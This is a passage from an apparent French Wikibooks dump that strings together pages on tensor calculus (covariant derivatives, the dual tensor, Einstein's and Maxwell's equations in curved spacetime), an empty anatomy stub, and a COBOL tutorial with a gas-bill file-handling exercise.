Or la contraction <math>\delta^i_i</math> du tenseur unité donne un entier, la dimension de l'espace. C'est donc une constante. Ainsi <math>g^{ij} \; d g_{ij} = - g_{ij} \; d g^{ij}</math>. D'où l'expression cherchée <math>g^{ij} g_{ij,k} = - g_{ij} g^{ij}{}_{,k}</math>. Calcul tensoriel/Notions élémentaires/Tenseur dualiseur/Nullité de la dérivée covariante/Démonstration 7509 37917 2006-03-16T09:34:05Z Fapae 1199 La [[Calcul tensoriel/Notions élémentaires#Dérivée covariante|dérivée covariante]] du [[Calcul tensoriel/Notions élémentaires#Tenseur dualiseur|tenseur dualiseur]] est nulle. Démonstration. L'expression de la [[Calcul tensoriel/Notions élémentaires#Dérivée covariante|dérivée covariante]] à partir de la dérivée simple et du [[Calcul tensoriel/Notions élémentaires#Symbole de Christoffel|symbole de Christoffel]] donne <math>D_j \left(*^{i_1 i_2 \ldots i_N}\right) = \partial_j \left(*^{i_1 i_2 \ldots i_N}\right) + \Gamma^{i_1}_{k j} *^{k i_2 \ldots i_N} + \Gamma^{i_2}_{k j} *^{i_1 k \ldots i_N} + \ldots + \Gamma^{i_N}_{k j} *^{i_1 i_2 \ldots k} </math> Réécrivons premier terme sous la forme <math>\partial_j \left(\frac{\epsilon^{i_1 i_2 \ldots i_N}}{\sqrt{\det{g}}}\right)</math>. Le [[Calcul tensoriel/Notions élémentaires#Symbole de Levi-Civita d'ordre N|symbole de Levi-Civita d'ordre N]] étant constant, ce terme devient <math>\epsilon^{i_1 i_2 \ldots i_N}\partial_j \left(\frac{1}{\sqrt{\det{g}}}\right)</math>. Dans la liste des termes suivants, le premier se réduit à sa valeur pour laquelle <math>k = i_1</math>, le deuxième à sa valeur pour laquelle <math>k = i_2</math>, etc. La somme des ''N'' termes vaut donc <math>\Gamma^{k}_{k j} *^{i_1 i_2 \ldots i_N}</math>. Étant donné l'expression de la [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Contraction|contraction du symbole de Christoffel]] <math>\Gamma^k_{k j} = - \partial_j \left(\frac{1}{\sqrt{\det g}}\right)</math>, on trouve <math>D_j \left(*^{i_1 i_2 \ldots i_N}\right) = 0</math>, c.q.f.d. Calcul tensoriel/Notions élémentaires/Rotationnel 7510 36400 2006-03-07T08:51:31Z Fapae 1199 ==== Tenseur rotationnel ==== Étant donné un champ de vecteurs covariants <math>a_i</math> dans un espace de dimension quelconque, la [[Calcul tensoriel/Notions élémentaires/Dérivée covariante|dérivée covariante]] <math>D_j a_i = a_{i;j} = a_{i,j} - \Gamma^k_{ij} a_k</math> est un tenseur. Le tenseur rotationnel, défini comme <math>\left[\mathrm{rot} \; a\right]_{ij} = a_{i;j} - a_{j;i}</math> est par construction un tenseur antisymétrique. ==== Expression à partir de la dérivée simple ==== La symétrie <math>\Gamma^k_{ij} = \Gamma^k_{ji}</math> du [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel|symbole de Christoffel]] permet d'écrire le tenseur rotationnel à partir de la dérivée simple : <math>\left[\mathrm{rot} \; a\right]_{ij} = a_{i,j} - a_{j,i}</math>. ==== Rotationnel en dimension 3 ==== En dimension 3, le [[Calcul tensoriel/Notions élémentaires/Tenseur dualiseur|tenseur dualiseur]] permet de construire le vecteur dual d'un tenseur antisymétrique d'ordre 2. Le rotationnel d'un champ de vecteurs <math>\mathbf{a}</math>tridimensionnel est défini comme le dual du tenseur rotationnel : <math>\left[\mathrm{rot} \; \mathbf{a}\right]^{\alpha} = \frac{1}{2} *^{\alpha\lambda\mu} \left[\mathrm{rot} \; a\right]_{\lambda\mu}</math>. Partant d'un champ de vecteurs en coordonnées contravariantes <math>a^\nu</math>, mettant à profit l'antisymétrie du tenseur dualiseur, la nullité de la dérivée covariante du tenseur métrique <math>\gamma_{\mu\nu}</math> ainsi que sa symétrie, on trouve <math>\left[\mathrm{rot} \; \mathbf{a}\right]^{\alpha} = *^{\alpha\lambda\mu} \gamma_{\mu\nu} a^{\nu}{}_{;\lambda}</math>. Calcul tensoriel/Coordonnées curvilignes/Équation géodésique/Expression au moyen du symbole de Christoffel 7511 45736 2006-06-26T07:26:39Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Géodésiques/Équation géodésique/Paramétrisation canonique]] Calcul tensoriel/Coordonnées curvilignes/Équation géodésique/Équation géodésique en paramétrisation canonique 7512 45735 2006-06-26T07:26:22Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Géodésiques/Équation géodésique/Paramétrisation canonique]] Calcul tensoriel/Espace-temps courbe/Équations d'Einstein 7513 36452 2006-03-07T20:33:58Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Équations d'Einstein]] déplacé vers [[Calcul tensoriel/Espace-temps courbe/Équations d'Einstein]] Les équations d'Einstein identifient le tenseur d'énergie-impulsion <math>T^{ij}</math> et l'expression de divergence nulle construite à partir du [[Calcul tensoriel/Coordonnées curvilignes/Tenseur de Ricci|tenseur de Ricci]] : <math>\left(R^{ij} - \frac{1}{2} g^{ij} R\right) = \frac{8 \pi k}{c^4} T^{ij}</math> Il existe une relation symétrique : <math>\left(T^{ij} - \frac{1}{2} g^{ij} T\right) = \frac{c^4}{8 \pi k} R^{ij}</math> [[Calcul tensoriel/Coordonnées curvilignes/Équations d'Einstein/Relation symétrique/Démonstration|Démonstration]]. Calcul tensoriel/Espace-temps courbe/Équations d'Einstein/Relation symétrique/Démonstration 7514 36458 2006-03-07T20:44:08Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Équations d'Einstein/Relation symétrique/Démonstration]] déplacé vers [[Calcul tensoriel/Espace-temps courbe/Équations d'Einstein/Relation symétrique/Démonstration]] Partant de l'[[Calcul tensoriel/Espace-temps courbe/Équations d'Einstein|équation d'Einstein]] sous la forme <math>R^i{}_j - \frac{1}{2} g^i{}_j R = \frac{8 \pi k}{c^4} T^i{}_j</math> on obtient en contractant, puisque la contraction de <math>g^i{}_j = \delta^i_j</math> vaut 4 : <math>-R = \frac{8 \pi k}{c^4} T</math> Réinjectant cette formule dans l'Équation d'Einstein, on trouve <math>R^{ij} + \frac{1}{2} \frac{8 \pi k}{c^4} g^{ij} T = \frac{8 \pi k}{c^4} T^{ij}</math> d'où le résultat. Calcul tensoriel/Espace-temps courbe/Équations de Maxwell 7515 36262 2006-03-06T16:29:36Z Fapae 1199 [[Calcul tensoriel/Espace-temps courbe/Équations de Maxwell en espace-temps courbe]] déplacé vers [[Calcul tensoriel/Espace-temps courbe/Équations de Maxwell]] Le tenseur de champ électromagnétique peut s'écrire à partir du rotationnel quadrimensionnel d'un quadrivecteur potentiel <math>A_i</math> : <math>F_{ij} = A_{i;j} - A_{j;i}</math>. Parce que la double [[Calcul tensoriel/Coordonnées curvilignes/Dérivation covariante|dérivation covariante]] d’un champ scalaire ne dépend pas de l’ordre des indices, l’expression du tenseur du champ électromagnétique ne change pas si l’on rajoute au potentiel vecteur un terme <math>f_{;i}</math>, 4-[[Calcul tensoriel/Coordonnées curvilignes/Divergence|divergence]] d’un scalaire quelconque. Ce terme est appelé jauge. * La jauge de Lorentz stipule <math>A^i{}_i</math> * En limitant la divergence au domaine spatial (cas des champs statiques), on a la jauge de Coulomb <math>A^{\alpha}{}_{\alpha}</math> La jauge de Lorentz existe. Partant d’un potentiel vecteur A quelconque, il suffit de trouver la fonction ''f'' dont le 4-[[Calcul tensoriel/Coordonnées curvilignes/Laplacien|laplacien]] soit égal à la 4-[[Calcul tensoriel/Coordonnées curvilignes/Divergence|divergence]] de ''A''. Dans un espace-temps plan, c’est une équation harmonique évidemment soluble. Dans un espace temps courbe, ... === Équation premier groupe === Si l’espace-temps est plan, l’expression <math>F_{ij} = A_{i;j} - A_{j;i}</math> entraine directement l’équation premier groupe de Maxwell <math>*^{ijkl}F_{jk;l} = 0^i</math> Dans un espace-temps courbe, cette équation s’écrit <math>*^{ijkl} R_{mjkl} A^m = 0^i</math> === Équation second groupe === L'équation second groupe de Maxwell s'écrit <math>A^{i;k}{}_{;k} - A^{k;i}{}_{;k} = \mu_0 j^i</math> Partant de <math>A^{k}{}_{;i;k} - A^{k}{}_{;k;i} = R^{kl}{}_{ik} A_l = -R^l{}_i A_l</math> on obtient <math>A^{i;k}{}_{;k} - A^{k}{}_{;k}{}^{;i} + R^i{}_l A^l = \mu_0 j^i</math> Le choix de la jauge de Lorentz permet d'éliminer le second terme. L'équation second groupe de Maxwell s'écrit finalement à partir du 4-[[Calcul tensoriel/Coordonnées curvilignes/Laplacien|laplacien]] et du [[Calcul tensoriel/Coordonnées curvilignes/Tenseur de Ricci|tenseur de Ricci]] : <math>A^{i;k}{}_{;k} + R^i{}_l A^l = \mu_0 j^i</math> Calcul tensoriel/Espace-temps courbe/Gravité (symétrie sphérique) 7516 36460 2006-03-07T20:46:01Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Gravité (symétrie sphérique)]] déplacé vers [[Calcul tensoriel/Espace-temps courbe/Gravité (symétrie sphérique)]] Schwarzschild 1916 Reissner 1916 Nordström 1918 (compris comme champ d’une charge électrique en 1960). ... Calcul tensoriel/Système de coordonnées 7517 36116 2006-03-05T18:33:54Z Fapae 1199 [[Calcul tensoriel/Changement de système de coordonnées]] déplacé vers [[Calcul tensoriel/Système de coordonnées]] {{:fr:Calcul tensoriel/Coordonnées curvilignes/Systèmes de coordonnées/Transformations}} [[./Notions élémentaires#Système de coordonnées|notions élémentaires]] Calcul tensoriel/Notions élémentaires/Transformations entre systèmes de coordonnées 7518 43401 2006-05-29T11:27:55Z Fapae 1199 Utilisation du : Soient deux systèmes de coordonnées ''a'' et ''b''. Considérons les fonctions de transformation : : <math>\left[x_b\right]^i = \left[\Theta_{ba}\right]^i \left(\left[x_a\right]^0, \left[x_a\right]^1, \ldots\right)</math> : <math>\left[x_a\right]^i = \left[\Theta_{ab}\right]^i \left(\left[x_b\right]^0, \left[x_b\right]^1, \ldots\right)</math> Le jacobien de la transformation relie les variations infinitésimales des coordonnées : : <math>d\left[x_a\right]^i = \sum_j \left[\theta_{ab}\right]^i{}_j d\left[x_b\right]^j </math> : <math>\left[\theta_{ab}\right]^i{}_j = \frac{\partial\left[\Theta_{ab}\right]^i}{\partial\left[x_b\right]^j}</math> Le jacobien de la transformation inverse est l'inverse du jacobien. Introduisant <math>\delta^i_j</math> le [[Calcul tensoriel/Coordonnées curvilignes/Compléments/Symbole de Kronecker|symbole de Kronecker]], on a : <math>\sum_j \left[\theta_{ab}\right]^i{}_j \left[\theta_{ba}\right]^j{}_k = \delta^i_k</math> Calcul tensoriel/Notions élémentaires/Base naturelle 7519 43403 2006-05-29T11:29:36Z Fapae 1199 Utilisation du : Notons <math>\mathbf{e}_i</math> la base naturelle de vecteurs locaux associés à un système de coordonnées quelconque <math>x^i</math>. Un élément infinitésimal s'écrit dans cette base : <math>d\mathbf{l} = \sum_i dx^i \mathbf{e}_i</math> On a : <math>\mathbf{e}_i = \frac{\partial \mathbf{l}}{\partial x^i}</math> * Remarques *# La lettre <math>\mathbf{l}</math> étant muette, on voit parfois écrit <math>\mathbf{e}_i = \frac{\partial}{\partial x^i}</math>, avec le risque de confusion avec l'opérateur dérivation. *# Sauf dans le cas d'un [[w:Repère cartésien|repère cartésien]], la base naturelle varie d'un point à un autre. Chaque symbole <math>\mathbf{e}_1</math>, <math>\mathbf{e}_2</math>, etc. représente en fait un [[w:Champ de vecteurs|champ de vecteurs]]. *# Les vecteurs de base se transforment selon la formule <math>\left[\mathbf{e}_a\right]_i = \sum \left[\mathbf{e}_b\right]_i \left[\theta_{ba}\right]^i{}_j</math>. [[Calcul tensoriel/Notions élémentaires/Base naturelle/Transformation|Démonstration]] Calcul tensoriel/Coordonnées curvilignes/Vecteurs locaux 7520 45739 2006-06-26T07:36:41Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Notions élémentaires/Base naturelle]] Calcul tensoriel/Coordonnées curvilignes/Tenseurs 7521 35977 2006-03-04T23:42:50Z Fapae 1199 Les vecteurs de la base naturelle locale obéissent à des transformations inverses l'une de l'autre. Les indices ont été écrits respectivement en bas et en haut. On parlera d'indices de coordonnées covariantes et contravariantes. Pour l'instant, un tenseur est un machin qui a des indices successifs qui peuvent se trouver en haut ou en bas, et qui se transforme de façon covariante pour les indices du bas et contravariante pour les indices du haut. Par exemple, la transformation de coordonnées d'un tenseur co-contra-co est la suivante : ... Dès que le tenseur métrique sera défini, on pourra définir une correspondance biunivoque entre un tenseurs de composantes co et contra-variantes. L'objet correspondant est le tenseur proprement dit. Calcul tensoriel/Notions élémentaires/Tenseur métrique 7522 43405 2006-05-29T11:31:59Z Fapae 1199 Utilisation du : Le tenseur métrique, noté <math>g_{ij}</math>, est le tenseur produit scalaire des vecteurs de la [[Calcul tensoriel/Notions élémentaires/Base naturelle|base naturelle]]. Il est symétrique : : <math>g_{ij} = g_{ji} = \mathbf{e}_i \cdot \mathbf{e}_j</math> Le carré d'un élément de longueur est la forme quadratique : <math>\left(dl\right)^2 = \sum_{ij} g_{ij} dx^i dx^j</math> À RÉDIGER Calcul tensoriel/Coordonnées curvilignes/Systèmes de coordonnées 7523 45741 2006-06-26T07:38:26Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Système de coordonnées]] Calcul tensoriel/Coordonnées curvilignes/Systèmes de coordonnées/Transformations 7524 45745 2006-06-26T07:41:02Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Notions élémentaires/Transformations entre systèmes de coordonnées]] Anatomies topographique et de surface du membre thoracique 7530 36037 2006-03-05T11:13:18Z Psychotic 1167 [[Catégorie:Médecine]] __TOC__ Retour à [[Anatomie|Anatomie]]. ==Fosse axillaire== ==Bras== ==Avant-bras== ==Main== Calcul tensoriel 7531 36342 2006-03-06T21:23:40Z Fapae 1199 [[Calcul tensoriel/Sommaire|Sommaire]] {{:Calcul tensoriel/Sommaire}} Calcul tensoriel/Coordonnées curvilignes/Compléments/Équations de Lagrange 7532 36042 2006-03-05T11:15:51Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Compléments/Équations de Lagrange]] déplacé vers [[Calcul tensoriel/Appendices/Équations de Lagrange]] #REDIRECT [[Calcul tensoriel/Appendices/Équations de Lagrange]] Programmation Cobol ANS 75 7533 41455 2006-05-03T09:33:22Z 87.65.131.23 {{prgcobol}} {{ébauche}} Le COBOL ANS 74 est basé sur les arbres programmatiques [[Programmation_LDA#Les_arbres_programmatiques_.28AP.29|AP]] et a été conçu pour produire des programmes : *normalisés *faciles à comprendre *orientés vers le traitement des affaires *orientés vers les problèmes administratifs et commerciaux ==Généralités== ===4 Divisions par Programme=== <pre> IDENTIFICATION DIVISION. PROGRAM-ID. PROG. AUTHOR. AUT. ENVIRONMENT DIVISION. SOURCE-COMPUTER. CPU1. OBJECT-COMPUTER. CPU1. INPUT-OUTPUT SECTION. FILE-CONTROL. SELECT ... DATA DIVISION. FILE SECTION. FD FNOM LABEL RECORD STANDARD/OMITTED 01 FENR. 02 NOM1 PIC X(10). WORKING-STORAGE SECTION. 66 NOM RENAMES NOMA THRU NOMB. 77 INDEP PIC X(10) 88 IND-OK VALUES 1 THRU 10. 88 IND-KO VALUES 11 THRU 20. PROCEDURE DIVISION. </pre> ===Elements du Cobol=== * Identificateurs (nom var, f., paragraphes) :[A-Z][0-9][-] :ex.: 128A 128 -ABC IF NUM.ART total * Constantes **Numeriques: [0-9], . (jamais à droite),+- (tjs devant) ex.: .0 <s>13.34.56</s> -.45 <s>.+65</s> <s>-12.</s> **Alphabetiques: "..." ""->1" **Figuratives: prédéfinies (tout numérique sauf 0 = alphanumerique). :{zero, zeros, zeroes} :0 :{space, spaces} : :{quote,quotes} : " :{high-value, high-values} : met plus grande valeur que var peut recevoir :{low-value, loww-values} : met plus petite valeur que var peut recevoir :ALL : demande de repeter const non numerique ex: ZERO(alphanum) // "ZERO"(alpha) // 0(num) // 0.0(num) // ALL ZERO(alpha) // ALL "ZERO"(alpha) // <s>ALL (0(doit être non num))</s> ===Clauses=== <b>PICTURE [V 9 X A]</b> <pre> 77 A PIC 9(4)V99; VALUE 193654 >> |1|9|3|6|.|5|4| 77 B PIC X(3)XX; VALUE "A24ZE" >> |A|2|4|Z|E| 77 C PIC A;VALUE "Z" >> |A| </pre> <b>EDITION</b> [. , / B 0] // [+ - $ CR DB] // [Z *] // [+ - $] <b>SIGN // {LEADING/TRAILING} SEPARATE</b> <pre> 77 A PIC S999;LEADING SEPARATE. (- devant) 77 B PIC S999;TRAILING SEPARATE. (- derriere) 77 C PIC S999;LEADING. (¢ devant) 77 D PIC S999;TRAILING. (¢ derriere) </pre> <b>VALUE</b> <pre>77 A PIC 999; VALUE 199.</pre> <b>USAGE // {DISPLAY/COMP}</b> <pre> 77 B PIC 999;DISPLAY. (sauvé en car) 77 B PIC 999;COMP-0/3. (sauvé en bin). </pre> <b>REDEFINE</b> <pre> 01 MONTANT PIC 9(4)V99. 01 REDEF REDEFINES MONTANT. 02 EURO PIC 9(4). 02 CENT PIC 99. 01 A REDEFINES MONTANT PIC 9(6). </pre> <b>RENAMES</b> <pre> 66 NM RENAMES NB1 THRU DEF1. </pre> <b>FILLER // Var</b> <pre> 01 ENREG. 02 FILLER PIC X(30). 02 CP PIC 9(4). 02 FILLER PIC X(6). 88 OK VALUE SPACE. </pre> <b>BLANK WHEN ZERO</b> <pre> 77 A PIC 999; BLANK ZERO; VALUE ZERO. 77 B PIC ZZ9; BLANK ZERO; VALUE ZERO. A<->" "/B<->" " </pre> ===Nombre niveau=== *reservé :66 champ renommé :77 champ indépendant (non groupé) :88 réservé aux noms-conditions (vrai/faux) *de groupage 01 ARTICLE. 02 DESCRIPTION PIC X(10). 03 CODE-MAGASIN PIC XXX. 03 NUMERO-COULEUR PIC 99. ===EXPR ARITHMETIQUE=== [+ - * / **(exp)] COMPUTE A, C = A*(B**-3). // A=A*(B**-3), C=A*(B**-3) // ===INSTRUCTIONS=== ====élémentaires==== *ACCEPT [VAR] *MOVE (X) TO D, E, F, G, H. *OPERATION :ADD (X) TO A, B. :ADD (X) GIVING C, D. :-> X : somme // X+A>A, X+B>B, X>C, X>D :SUBTRACT (X) FROM A, B. :SUBTRACT (X) FROM x1 GIVING C, D. :-> X : somme // A-X>A, B-X>B, x1-X>C, x1-X>D :MULTIPLY x1 BY A, B. :MULTIPLY x1 BY x2 GIVING C, D. :-> x1*A>A, x1*B>B, x1*x2>C, x1*x2>D :DIVIDE x1 INTO A, B. :DIVIDE x1 {INTO/BY} x2 GIVING C, D REMAINDER E. :-> A/x1>A, B/x1>B, x2/x1>C (into), x2/x1>D (into), x1/x2>C (by), x1/x2>D (by), x1-x2*D>E (reste) :OPT / ROUNDED : +5 au premier digit décimal non inclu <pre> 77 A PIC 99V99; VALUE 23.43. 77 B PIC 99V99; VALUE 35.56. 77 C PIC 99V9. </pre> :-> A+B=58.99 :ADD A,B GIVING C. :-> c = |5|8|9| = 58.9 :ADD A,B GIVING C ROUNDED. :-> c(Rounded) = 58.99 + .05 = 59.04 = |5|9|0| = 59.0 :OPT / ON SIZE ERROR = Sur partie entière, si champ trop petit, le champ n'est pas rempli et exec d'instruction. <pre> 77 A PIC 999; VALUE 876. 77 B PIC 999; VALUE 150. 77 C PIC 999. </pre> :ADD A, B GIVING C; ON SIZE ERROR [instruction]. :-> A+B=1026 - trop grand pour C >> exec d'instruction ====de contrôle==== IF [c1] [ins] ELSE IF [c2] [ins] ELSE [ins] *Condition de relation [= < > <= >=] ... [NOT]= ... ... [NOT]> ... ... [NOT]< ... *Condition de classe ... [NOT] {numeric/alphabetic} *Condition de signe ... [NOT] {POSITIVE/NEGATIVE/ZERO} *Condition de nom-condition 77 ETAT-CIVIL PIC 9. 88 CELIBATAIRE VALUE 1. 88 MARIE VALUE 2. 88 DIVORCE VALUE 3. 88 VEUF VALUE 4. 88 ETAT-CIVIL-FAUTIF VALUES ARE 0, 5 THRU 9. 88 SANS-CONJOINT VALUES ARE 1, 3, 4. ETAT-CIVIL-FAUTIF si 0,5,6,7,8,9 (vrai) sinon (faux) *Condition composée [( ) NOT AND OR] IF MARIE AND FEMME OR (AGE > 30). *Condition de relation simplifiee IF A=B OR A=C OR A>D IF A=B OR =C OR >D IF A=B OR C OR >D ===Feuille de programme=== Feuille à 80 colonnes issue du modèle des cartes perforées. Structure : *1->6 : Num de séquence (facultatif) *7 : Indicateur (*(cmt) /(cmt+nl) -(merge)) *8->72 : Ecriture du PRG (marge A : 8->11, marge B : 12->72) *73->80 : Identification ===Symboles=== . Le point ferme l'instruction en Cobol et il est suivi d'un espace. IF A = B MOVE 1 TO C ELSE MOVE 3 TO C MOVE 1 To B D. ,; (facultatif) séparateur pour clarifier la notation ELSE MOVE 3 TO C; MOVE 1 TO B, D. =Bases du COBOL= =Divisions, sections, paragraphes= ==IDENTIFICATION DIVISION== Identification du programme, n'est formé que de paragraphes. 78 | IDENTIFICATION DIVISION *----------------------- PROGRAM-ID. EXEMPLE. AUTHOR. NOM. ==ENVIRONMENT DIVISION== CONFIGURATION SECTION. (obligatoire) [INPUT-OUTPUT SECTION] (facultatif) 78 | ENVIRONMENT DIVISION *-------------------- CONFIGURATION SECTION. OBJECT-COMPUTER. MINTA. SOURCE-COMPUTER. MINTA. INPUT-OUTPUT SECTION. FILE-CONTROL. SELECT (F1) ASSIGN TO DISK; FILE STATUS IS FS. SELECT (F2) ASSIGN TO PRINTER. ==DATA DIVISION== ===WORKING STORAGE SECTION.=== 78 | DATA DIVISION *------------- WORKING STORAGE SECTION. ====Les champs==== Reçoit les vars nombre_niveau {nom } [clause] ... {FILLER} *nombre_niveau : niveau en pallier hiérarchique. En cobol tout est organisé en Enreg dont l'info principale est de niveau 1. *FILLER : ligne DUMMY *clause : taille/type/val. initiale <b>? Soit le champ article divisé en description et code article qui est divisé en code magasin et numéro couleur.</b> {| border="1" align="center" |- align=left | ARTICLE || |- align=left | DESCRIPTION || {| border="1" align="center" |- align=left | CODE ARTICLE || |- align=left | CODE MAGASIN || NUMERO COULEUR |} |} *ici 3 Niveaux *Champs de groupes avec (.) contient : *des champs élémentaires. 78 | DATA DIVISION *------------------------- WORKING STORAGE SECTION. 01 ARTICLE. 02 DESCRIPTION PIC X(10). 02 CODE-ARTICLE. 03 CODE-MAGASIN PIC XXX. 03 NUMERO-COULEUR PIC 99. 77 CPT PIC 99. *CARACTERES PICTURES (type de contenu de variable) Les champs élémentaires recoivent PIC : :*9 [0-9] ,v (donne position de virgule) :ex: PIC 99v999 (trois chiffres après la virgule) :*X alphanumerique :ex: PIC X(6) = PIC XXXXXX (6 alphanumeriques) ==PROCEDURE DIVISION== *Reçoit les instructions de PROG. *Reçoit toujours un paragraphe avant la premiére instruction. *Toutes les instructions vont en marge B. 78 | PROCEDURE DIVISION *------------------ PROG. ADD... MOVE... =fichiers= ==fichier séquentiel== <pre> ENVIRONMENT DIVISION. ... INPUT-OUTPUT SECTION. FILE-CONTROL. SELECT FNOM ASSIGN TO (DISK/PRINTER); ORGANIZATION IS SEQUENTIAL; ACCESS MODE RANDOM; FILE STATUS IS FS. 01 ENREG. 02 NM1 PIC X(15). 02 FILLER PIX X(5); VALUE SPACE. 02 NM2 PIX X(20). DATA DIVISION. FILE SECTION. FD FNOM LABEL RECORD STANDARD; VALUE OF FILE-ID IS "FNOM.DAT". </pre> *OPEN (INPUT/OUTPUT/I-O/EXTEND) FNOM. *READ FNOM [AT END [INS ... ]]. *WRITE ENREG. *REWRITE ENREG. - open I-O. *CLOSE FNOM. <b>? FACTURE DE GAZ - créer un fichier de consommation de GAZ avec le nom en X(16), adresse X(40), ville X(15) et consommation 9(4)V99. > CREER ce fichier en le remplissant et s'il existe dejà, on demande si on veut le détruire (o/n). > FAIRE menu (1. Sortie écran / 2. Rechercher par nom / 3. Ajouter des personnes au fichier / 4. Modifier - smenu (1. nom / 2. adresse / 3. ville / 4. consommation / 0. fin ) / 5. Sortie imprimante / 0. fin) </b> {{Boîte déroulante|titre= :: solution incomplète :: |contenu = <pre> *8 | | | | | | | | | | | | | | | | IDENTIFICATION DIVISION PROGRAM-ID. FICHIER-GAZ. AUTHOR. AUT. ENVIRONMENT DIVISION. CONFIGURATION SECTION. SOURCE-COMPUTER. CPU1. OBJECT-COMPUTER. CPU2. SPECIAL-NAMES. * DECIMAL-POINT IS COMMA. CURRENCY SIGN IS "E". INPUT-OUTPUT SECTION. FILE-CONTROL. SELECT FGAZ ASSIGN TO DISK; FILE STATUS IS FS. DATA DIVISION. FILE SECTION. FD FGAZ LABEL RECORD STANDARD; VALUE OF FILE-ID IS "FGAZ.DAT"; RECORD CONTAINS 77. 01 FENREG. 02 NOM PIC X(16). 02 ADR PIC X(40). 02 VIL PIC X(15). 02 CNS PIC 9(4)V99. WORKING-STORAGE SECTION. 77 FS PIC XX. 88 FS-OK VALUE "00". 88 FS-KO VALUE "10". 77 CH PIC X. 88 CH-OK VALUES "o", "O". 88 CH-KO VALUES "n", "N". 77 NMF PIC X(10). 77 NMR PIC X(16). 77 CHM PIC 9. 77 EOF PIC 9; VALUE 0. *EDITION 77 CONS-ED PIC Z(3)9.99. PROCEDURE DIVISION. *structure principale PROG. PERFORM D-PROG. IF FS-OK PERFORM FOK ELSE PERFORM CREER. PERFORM I1-PROG. PERFORM MENU UNTIL CHM = 0. PERFORM F-PROG. STOP RUN. FOK. PERFORM D-FOK. PERFORM CHK1 UNTIL CH-OK OR CH-KO. PERFORM I2-FOK. IF CH-OK PERFORM CREER ELSE PERFORM DMY. PERFORM F-FOK. MENU. PERFORM D-MENU. IF CHM = 1 PERFORM AFF ELSE IF CHM = 2 PERFORM RCH-STRT ELSE IF CHM = 3 PERFORM AJO ELSE IF CHM = 4 PERFORM MOD ELSE IF CHM = 5 PERFORM IMP ELSE IF CHM = 0 PERFORM FIN ELSE PERFORM ERR. PERFORM F-MENU. *traitement principal D-PROG. DISPLAY ECRAN. OPEN INPUT FGAZ. CLOSE FGAZ. D-FOK. DISPLAY "RECREER FICHIER ? (O/N)". ACCEPT CH. CHK1. ACCEPT CH. I2-FOK. EXIT. CREER. OPEN OUTPUT FGAZ. CLOSE FGAZ. DMY. EXIT. F-FOK. EXIT. I1-PROG. PERFORM SCR1. ACCEPT CHM. D-MENU. EXIT. F-MENU. PERFORM SCR1. ACCEPT CHM. F-PROG. EXIT. AFF. *---------- PERFORM D-AFF. PERFORM AFF1 UNTIL EOF = 1. PERFORM F-AFF. D-AFF. DISPLAY (1, 1) ERASE. DISPLAY "NOM---------------------------------------------------------------------------". OPEN INPUT FGAZ. READ FGAZ AT END MOVE 1 TO EOF. AFF1. DISPLAY FENREG. READ FGAZ AT END MOVE 1 TO EOF. F-AFF. DISPLAY "------------------------------------------------------------------------------------". CLOSE FGAZ. MOVE 0 TO EOF. STOP "APPUYEZ SUR UNE TOUCHE POUR CONTINUER". RCH-STRT. *---------- OPEN INPUT FGAZ. PERFORM RCH-NM UNTIL NMR > 2. PERFORM RCH UNTIL EOF = 1 OR NMR = NOM. PERFORM RCH-ENR THRU RCH-STOP. RCH-NM. *---------- DISPLAY "NOM A RECHERCHER ?". ACCEPT NMR. RCH. *---------- READ FGAZ AT END MOVE 1 TO EOF. RCH-ENR. *---------- IF NMR = NOM DISPLAY FENREG ELSE DISPLAY "ENREGISTREMENT INCONNU". MOVE 0 TO NMR. RCH-STOP. *---------- CLOSE FGAZ. MOVE 0 TO EOF. STOP "APPUYER SUR UNE TOUCHE". AJO. *---------- PERFORM D-AJO. PERFORM AJO1 UNTIL CH-KO. PERFORM F-AJO. D-AJO. MOVE "o" TO CH. DISPLAY (1, 1) ERASE. DISPLAY "NOUVEL ENREG". OPEN EXTEND FGAZ. AJO1. DISPLAY "nom adr vil cns ?". ACCEPT NOM. ACCEPT ADR. ACCEPT VIL. ACCEPT CNS. WRITE FENREG. DISPLAY "encore (o/n) ?". ACCEPT CH. F-AJO. CLOSE FGAZ. MOD. *---------- PERFORM D-MOD. PERFORM MOD1 UNTIL NMR = "*". PERFORM F-MOD. MOD1. PERFORM D-MOD1. PERFORM RCH UNTIL NOM = NMR OR EOF = 1. PERFORM I-MOD1. IF EOF = 0 PERFORM MOK ELSE PERFORM MKO. PERFORM F-MOD1. MOK. PERFORM D-MOK. PERFORM MMOD UNTIL CHM = 0. PERFORM F-MOK. MMOD. PERFORM D-MMOD. IF CHM = 1 PERFORM M1 ELSE IF CHM = 2 PERFORM M2 ELSE IF CHM = 3 PERFORM M3 ELSE IF CHM = 4 PERFORM M4 ELSE PERFORM ERR. PERFORM F-MMOD. D-MOD. DISPLAY (1, 1) ERASE. DISPLAY "NOM A RECHERCHER ? (* pour aucun)". ACCEPT NMR. D-MOD1. OPEN I-O FGAZ. I-MOD1. EXIT. D-MOK. PERFORM SCR2. DISPLAY "CHOIX ? 1-4". ACCEPT CHM. D-MMOD. EXIT. M1. DISPLAY NOM. DISPLAY "NOUVEAU NOM ?". ACCEPT NOM. M2. DISPLAY ADR. DISPLAY "NOUVELLE ADRESSE ?". ACCEPT ADR. M3. DISPLAY VIL. DISPLAY "NOUVELLE VILLE ?". ACCEPT VIL. M4. DISPLAY CNS. DISPLAY "NOUVELLE CONSOMMATION ?". ACCEPT CNS. F-MMOD. PERFORM D-MOK. F-MOK. DISPLAY "ENREGISTREMENT" REWRITE FENREG. MKO. DISPLAY "NOM INCONNU". STOP "APPUYEZ UE TOUCHE". F-MOD1. CLOSE FGAZ. MOVE 0 TO EOF. PERFORM D-MOD. F-MOD. EXIT. IMP. *---------- EXIT. FIN. *---------- EXIT. ERR. *---------- DISPLAY "CHOIX INCORRECT !". *MENUS *---------------------------------------- SCR1. DISPLAY (1, 1) ERASE. DISPLAY "MENU PRINCIPAL". 